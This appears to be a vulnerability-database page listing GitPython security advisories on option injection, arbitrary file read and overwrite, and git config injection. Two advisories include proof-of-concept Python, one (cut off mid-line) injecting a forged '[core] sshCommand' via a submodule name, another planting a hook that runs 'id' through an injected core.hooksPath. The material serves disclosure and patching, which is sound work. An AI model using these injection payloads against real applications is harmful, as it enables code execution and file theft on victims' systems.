Threats affecting pkg:pypi/GitPython

GitPython versions before 3.1.58 contain a remote code execution vulnerability in the Repo.init function. This flaw arises because unsafe git options are forwarded without validation, allowing attackers to supply a malicious template parameter. The malicious template can point to a directory containing git hooks that execute arbitrary code during git operations on the initialized repository. The vulnerability has a high severity score of 7.7 CVSS 4.0 and requires low privileges but high attack complexity.

GitPython versions before 3.1.58 contain a vulnerability where options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout() are not properly validated. This allows attackers to supply parameters that can read arbitrary files accessible to the process, with file contents exposed in error messages.

GitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.

GitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level.

GitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

GitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to 'git rev-list' without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=<path>, causing 'git rev-list --output=<path>' to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process's privilege level (no content control, 0-byte truncation).

GitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.

GitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.

GitPython versions up to 3.1.57 contain a vulnerability where the unsafe git option guard can be bypassed by using the split_single_char_options=False flag combined with a single-character keyword argument. This allows an attacker to smuggle a short option token that leads to arbitrary OS command execution via the git --upload-pack option. The vulnerability affects all guarded methods that forward kwargs and occurs despite the default allow_unsafe_options=False setting. A patch is available to fix this issue.

GitPython versions up to 3.1.57 contain a vulnerability in the config option name validation that allows injection of arbitrary git configuration directives. This occurs because the validator does not reject characters such as '=', '#', or whitespace in option names, enabling attackers to forge directives like core.sshCommand or core.hooksPath. Exploitation can lead to remote code execution on subsequent git operations. A patch is available to address this issue.

GitPython versions prior to 3.1.58 contain a vulnerability where an attacker-controlled submodule name in a cloned repository's .gitmodules file can cause GitPython to create and initialize a Git repository outside the intended working directory. This occurs because GitPython does not validate the submodule name, allowing directory traversal sequences that lead to repository creation at arbitrary filesystem paths during submodule initialization.

GitPython versions prior to 3.1.58 contain a vulnerability in the IndexFile.remove() and Head.checkout() methods. These methods forward arbitrary keyword arguments into git rm and git checkout commands without proper validation. When used with the --pathspec-from-file and --pathspec-file-nul options, this allows an attacker to cause Git to treat the entire contents of a chosen file as a pathspec, leading to the file's contents being leaked in error messages. This results in an arbitrary file read vulnerability disclosed through GitCommandError.stderr.

GitPython versions up to 3.1.57 have a vulnerability in the Repo.init() method where unsafe git options are forwarded without validation. Specifically, the --template option can be exploited by an attacker to plant malicious git hooks that execute arbitrary code during subsequent git operations. This occurs because Repo.init() directly passes kwargs to git init without checking for unsafe options, unlike the clone path which has protections. Exploitation requires the attacker to control the template directory and stage executable hooks. A fix is available that adds unsafe option checks to Repo.init().

GitPython versions up to 3.1.57 contain a vulnerability in the IndexFile.from_tree, reset, and merge_tree methods where unguarded forwarding of git read-tree options allows an attacker to overwrite arbitrary files. The flaw arises because these methods append caller-controlled treeish strings to git read-tree commands without proper unsafe option checks or separators, enabling injection of the --index-output option to specify arbitrary file paths. This leads to arbitrary file overwrite with a valid git-index blob, potentially destroying or corrupting files accessible by the host process.

GitPython versions up to 3.1.53 contain a vulnerability in the Commit.count() method where unguarded forwarding of options to git rev-list allows an attacker to specify an --output argument. This causes git rev-list to truncate an arbitrary file to zero bytes, resulting in file destruction. The vulnerability has medium severity with a CVSS score of 5.4. A patch is available that adds proper unsafe option checks to Commit.count().

GitPython's Repo.archive() method uses a denylist to block unsafe git archive options, but this denylist is incomplete. Specifically, the options --add-file and --add-virtual-file, which allow reading arbitrary files from the filesystem and injecting arbitrary content into archives, are not blocked. This enables an attacker who can control the options passed to Repo.archive() to read arbitrary files with the privileges of the running process. The vulnerability does not allow code execution but can lead to sensitive file disclosure. A patch is available that extends the denylist to cover these options or implements a safer allowlist approach.

GitPython versions prior to 3.1.57 contain unguarded forwarding of git command options in the methods IndexFile.checkout() and TagReference.create(). This allows an attacker with limited privileges to cause arbitrary file overwrite on the filesystem via the --prefix option in git checkout-index, and arbitrary file read via the -F/--file option in git tag. Both vulnerabilities arise because these methods forward **kwargs directly to git commands without validating or restricting unsafe options. The arbitrary file overwrite can lead to code execution if attacker-controlled repository content is written to sensitive locations. The arbitrary file read exposes file contents to the attacker at the process privilege level. A patch is available to address these issues.

### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) # A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_co

Summary The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered. Details File: git/config.py — GitPython 3.1.49 (latest patched version) ```python def set_value(self, section: str, option: str, value) -> "GitConfigParser": value_str = self._value_to_string_safe(value) # only value is validated if not self.has_section(section): self.add_section(section) # section not validated super().set(section, option, value_str) # option not validated return self ``` _write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config. PoC ```python import git, os, subprocess repo = git.Repo.init("/tmp/bypass_test") os.makedirs("/tmp/evil_hooks", exist_ok=True) with open("/tmp/evil_hooks/pre-commit", "w") as f: f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n") os.chmod("/tmp/evil_hooks/pre-commit", 0o755) # Inject newline into section parameter (not value — already patched) with repo.config_writer() as cw: cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks") r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"], capture_output=True, text=True) print(r.stdout.strip()) # → /tmp/evil_hooks subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"]) print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed ``` Impact Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.